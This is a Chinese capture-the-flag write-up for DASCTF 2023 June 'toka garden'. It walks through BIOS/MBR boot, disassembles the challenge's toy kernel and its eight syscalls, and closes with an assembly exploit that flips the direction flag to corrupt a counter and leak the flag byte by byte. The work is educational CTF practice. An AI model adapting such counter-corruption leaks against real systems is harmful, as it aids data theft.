dasctf2023 june toka garden & bios-mbr os 启动流程
前言
被纯真拉来看题楽。
日常忏悔没有学好操作系统。借着 dasctf 6 toka garden 了解了下操作系统 bios-mbr 的启动流程。
bios-mbr 启动流程
启动(boot)一词来自于一句谚语 "pull oneself up by one's bootstraps" ("拽着鞋带把自己拉起来")这当然是不可能的事情。最早的时候,工程师们用它来比喻,计算机启动是一个很矛盾的过程:必须先运行程序,然后计算机才能启动,但是计算机不启动就无法运行程序
必须想尽各种办法,把一小段程序装进内存,然后计算机才能正常运行。所以,工程师们把这个过程叫做"拉鞋带",久而久之就简称为boot了。
计算机通电
计算机通电后,CPU中的执行地址会初始化为BIOS的地址,然后开始加载执行BIOS程序。
BIOS
全称 Basic Input/Output System,用于检查硬件,而跟操作系统关系不大,因此电脑可以适应多种操作系统。BIOS 程序存放在 ROM 中,它的启动地址也是根据标准制定的。
- POST (poser-on self-test)检查硬件,如果有故障会发出 哔 的声音
- 启动设备 会找到第一个设备的第一个扇区内容(MBR)加载到内存,并跳转执行
MBR
参考
启动设备的第一个扇区的内容称为主引导记录(MBR,Master Boot Record),由三个部分组成
- bootloader,主引导程序(446个字节)
- Dpt(Disk Partition table),硬盘分区表(64个字节)
- 扇区结尾标志(55aa)标志当前扇区是否合法,不合法(不是55AA),会跳回BIOS寻找下一个启动设备
BIOS 把主引导程序加载到了内存中的固定位置 0x7c00,这个有 历史遗留原因的。而主引导程序负责把扇区中的操作系统代码加载到内存,然后执行操作系统代码。对于不同的操作系统,这一加载过程可能会有所不同。
bootloader
如果启动过程足够简单,仅仅 MBR 的代码就足以加载 os,那么 MBR 中的代码就可以成为 bootloader。如果启动过程复杂,MBR 会调用一些启动管理器软件来加载 os
os
那就是 os 自己的事情了...吧
MBR 分析
以 dasctf 6 toka garden 为例,用到了一个简单的 bootloader,点击查看源码,
实模式下
一开始是实模式,ida 启动后选择 16 bit mode 即可。由于加载到在 0x7c00 处,ida 内 rebase 。
读取程序
sub_7C00 proc near
xor bx, bx
mov ds, bx
mov ss, bx
mov bp, 7C0h
mov dh, 0
mov cx, 1
loc_7C0E:
add cl, 1
jb short loc_7C1F
add bp, 20h ; ' '
mov es, bp
assume es:nothing
mov ax, 201h
int 13h ; DISK - READ SECTORS INTO MEMORY
; AL = number of sectors to read, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer to fill
; Return: CF set on error, AH = status, AL = number of sectors read
jnb short loc_7C0E
loc_7C1F:
mov di, 800h
xor al, al
lea cx, ds:7400h
rep stosb
设置了一开始的寄存器之后,用到了一个 int 0x13 中断,AH = 2 表示读扇区,从第 CH 磁道的第 CL 个扇区读取 AL=1 个扇区到内存 es:bx 区域。由于 bx 为 0,根据实模式下寻址的规律,地址为 es<<4。
sector n -> 0x7c00 + 0x200*n
如果读取错误 CF = 1,jnb 不跳转。
接着使用 rep stosb
命令存储数据 (repeat store string byte)其中
- cx 指定次数 递减
- di 目的地址 递增(es:di)
- al 转移的数据
gdt
lgdt 指令设置了段表寄存器
cli
lgdt fword ptr ds:qword_7CAB
分页机制设置
设置了几个关键的控制寄存器:
-
CR0 1000h
表示页表的物理内存基址 0x1000
-
CR4 0A3h IA32_EFER.LME = 1
CR4.PAE = 1 LME =1 CR4.LA57=0 开启 4 level paging
PSE page size extension 4 mbytespages
具体查看 4-32 Vol. 3A
这页表分析不来,我放弃了...嗯
mov eax, 1000h # 页表物理内存基址 0x1000
mov word ptr [eax], 2003h # PDE
mov word ptr ds:1FF8h, 2003h # PTE
mov cr3, eax
mov word ptr ds:2000h, 3003h
mov word ptr ds:2008h, 4003h
mov word ptr ds:2FF0h, 3003h
mov word ptr ds:2FF8h, 4003h
mov di, 3000h
xor ax, ax
mov cx, 400h
loc_7C64:
mov byte ptr [di], 83h
mov [di+3], ax
add di, 8
inc ax
inc ax
loop loc_7C64
mov eax, cr4
or al, 0A3h
mov cr4, eax # PVI VME PGE PSE
mov ecx, 0C0000080h # IA32_EFER
rdmsr
or ax, 100h # LME IA32 mode enable
wrmsr
开启保护模式
设置 cr0 控制寄存器,CR0.PG = 1 开启分页,地址不再直接表示物理地址而是逻辑地址。CR0.PE = 1 切换到保护模式
mov eax, 80000011h
mov cr0, eax # PG ET PE
jmp far ptr unk_7D14
保护模式
0x7c94: mov esi,0x7e00
0x7c99: mov rdi,0xffffffff80200000
0x7ca0: lods rax,QWORD PTR ds:[rsi]
0x7ca2: stos QWORD PTR es:[rdi],rax # 移动 8 byte
0x7ca4: push rdi
0x7ca5: mov rcx,rax
=> 0x7ca8: rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] # 每次移动 1 byte
0x7caa: ret
lods stos movs 会自动增减 rdi rsi 寄存器的值,增减多少由指令决定
ret 跳转到内核态,更新了页表、段表,也清空了低 0x2000 的内存
► 0x7caa ret <0xffffffff80200008>
↓
0xffffffff80200008 or byte ptr [0x1000], 4
0xffffffff80200010 or byte ptr [0x2000], 4
0xffffffff80200018 mov edi, 0x5000
0xffffffff8020001d mov eax, 0x8007
0xffffffff80200022 stosq qword ptr [rdi], rax
0xffffffff80200024 mov eax, 0x9007
0xffffffff80200029 stosq qword ptr [rdi], rax
0xffffffff8020002b mov ecx, 0x1fe
0xffffffff80200030 mov eax, 3
0xffffffff80200035: stos QWORD PTR es:[rdi],rax
0xffffffff80200037: add rax,0x1000
0xffffffff8020003d: loop 0xffffffff80200035
0xffffffff8020003f: mov DWORD PTR ds:0x3000,0x5007
0xffffffff8020004a: mov rax,cr3
0xffffffff8020004d: mov cr3,rax
0xffffffff80200050: xor rdi,rdi
0xffffffff80200053: mov ecx,0x2000
0xffffffff80200058: xor al,al
0xffffffff8020005a: rep stos BYTE PTR es:[rdi],al
0xffffffff8020005c: lgdt [rip+0xbd]
0xffffffff80200063: mov ax,0x10
0xffffffff80200067: mov ss,eax
0xffffffff80200069: mov ds,eax
0xffffffff8020006b: mov fs,eax
0xffffffff8020006d: mov es,eax
0xffffffff8020006f: mov gs,eax
0xffffffff80200071: push 0x8
0xffffffff80200073: push 0xffffffff8020007a
0xffffffff80200078: retfq
idt
跳转,加载 idt
lidt [rip+0x71f] # 加载 idt
此时的 qemu monitor 看到的 idtr 是 IDT= ffffffff80200790 00000010
0xffffffff80200790: 0x8020ee010008012a
segment sector: 8 # 中断程序所在的段选择符
offset: 0x8020012a
p: 1 # 不在内存 emm
DPL: 3
对应的段为
8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable
随后
mov ax,0x28
ltr ax # 任务寄存器 TR
切换 tr 寄存器变成以下内容
TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl
把文件内容写入了 0x0-0x1000 的地方(不懂端口怎么来的,猜测应该是 IO 的默认端口吧?)
xor rdi,rdi
mov ecx,0x1000
mov dx,0x3fd
in al,dx # 从 0x3fd 端口读取 1 字节到 al
test al,0x1 # 0xffffffff80200095
je 0xffffffff80200090
sub dl,0x5
in al,dx
stos BYTE PTR es:[rdi],al
loop 0xffffffff80200090
然后存储完成后长这样
pwndbg> x/20gx 0
0x0: 0x00000000cdc03148 0x0000000000000000
用户态
回到用户态 cs=0x1b ss=0x23 sp=0x2000 ip=0
mov ax,0x23
mov ds,eax
mov es,eax
mov fs,eax
mov gs,eax
xor rax,rax
xor rbx,rbx
xor rcx,rcx
xor rdx,rdx
xor rsi,rsi
xor rdi,rdi
xor rbp,rbp
xor r8,r8
xor r9,r9
xor r10,r10
xor r11,r11
xor r12,r12
xor r13,r13
xor r14,r14
xor r15,r15
push 0x23
push 0x2000
push 0x2
push 0x1b
push 0x0
iretq
回到 0x0 地址
xor rax, rax
int 0
这个中断根据 rax 的值 switch jump
0xffffffff8020012a cmp rax, 8
► 0xffffffff8020012e ✔ jb 0xffffffff80200139 <0xffffffff80200139>
↓
0xffffffff80200139 jmp qword ptr [rax*8 - 0x7fdffec0]
可以跳转以下位置,实现了 8 个系统调用
pwndbg> x/8gx 0 - 0x7fdffec0
0xffffffff80200140: 0xffffffff80200180 0xffffffff80200184
0xffffffff80200150: 0xffffffff802001a9 0xffffffff802001c0
0xffffffff80200160: 0xffffffff80200219 0xffffffff8020026e
0xffffffff80200170: 0xffffffff802002b4 0xffffffff802002e8
各个系统调用如下,
0: 退出
1:从 rsi (<2000h) 的位置开始输出
2:继续读输入 从 0x1000 往后
3:把指定位置(rdi)的(rcx)个数据写入0xffffffff80200454+counter ,然后 rcx 加到 counter
rdi + rcx < 2000h,
rdx + rcx < 100 (计数器)
4:把 0xffffffff80200454 的数据写 counter 个到 0xffffffff80200554 并清空 0xffffffff80200554和counter
5:把 0FFFFFFFF80200554h 的数据写 rcx 个到 0xffffffff80200454+counter
6:把 FFFFFFFF80200754 的东西输出 0x2f 个
7:清空 0FFFFFFFF80200554 之后 0x100 的内容
exp
经过分析分析内存是这样的
主要利用了 cld std 指令可以改变 Direction Flag,控制读取方向的特性。通过覆盖位于 0xFFFFFFFF8020044C
的计数器,把 flag 的一个字母覆盖到位于 上。那么要如何泄露这个数字呢?当 rax = 3 时中断,可以把计数器的值留在寄存器 rdx 中,rax = 3 时的汇编如下:
pwndbg> x/20i 0xffffffff802001d8
0xffffffff802001d8: mov rbx,QWORD PTR ds:0xffffffff8020044c
0xffffffff802001e0: movzx rdx,bl
0xffffffff802001e4: add rdx,rcx
0xffffffff802001e7: jb 0xffffffff80200210
0xffffffff802001e9: cmp rdx,0x100
0xffffffff802001f0: ja 0xffffffff80200210
0xffffffff802001f2: sub rdx,rcx
我们把 rdx 的值移动到小于 0x2000 处的一个地址调用 rax=1 的中断即可输出 rdi 位置的值,这样就可以完成一个字母的输出了,那如何一次性输出全部的 flag 呢?
由于计数器被 flag 覆盖,需要再次控制计数器,我采用的方式是从 flag 的最后一位往前泄露,令 rax = 4 中断(正向移动把 0xffffffff80200454 的数据写 [0FFFFFFFF8020044C] 个到 0xffffffff80200554 并清空 0xffffffff80200454,并清零计数器)就能够,从 flag 的最后一位往前泄露的原因是不要清空或者覆盖未输出的 flag。
总的来说 exp 如下
BITS 64
;set counter
mov rdi, 0h
mov rcx, 50h
mov rax, 3h
int 0h
;mov flag to buffer 2, clear counter
std
mov rax, 4h
int 0h
xor r9, r9
leak:
inc r9
;set counter
mov rdi, 0h
mov rcx, r9
mov rax, 3h
cld
int 0h
;mov flag from buffer2 to buffer1
mov rcx, 50h
mov rax, 5h
std
int 0h
;leak a letter
mov rcx, 1
mov rdi, 0h
mov rax, 3h
int 0h
mov rcx, 0
mov [rcx], rdx
mov r10, 0x100
;out a letter
mov rsi, 0h
mov rax, 1h
int 0
;clear couner
cld
mov rax, 4h
int 0h
;quit
cmp r9, 0x42
jnz leak
mov rax,0
int 0
把输出逆向一下即可: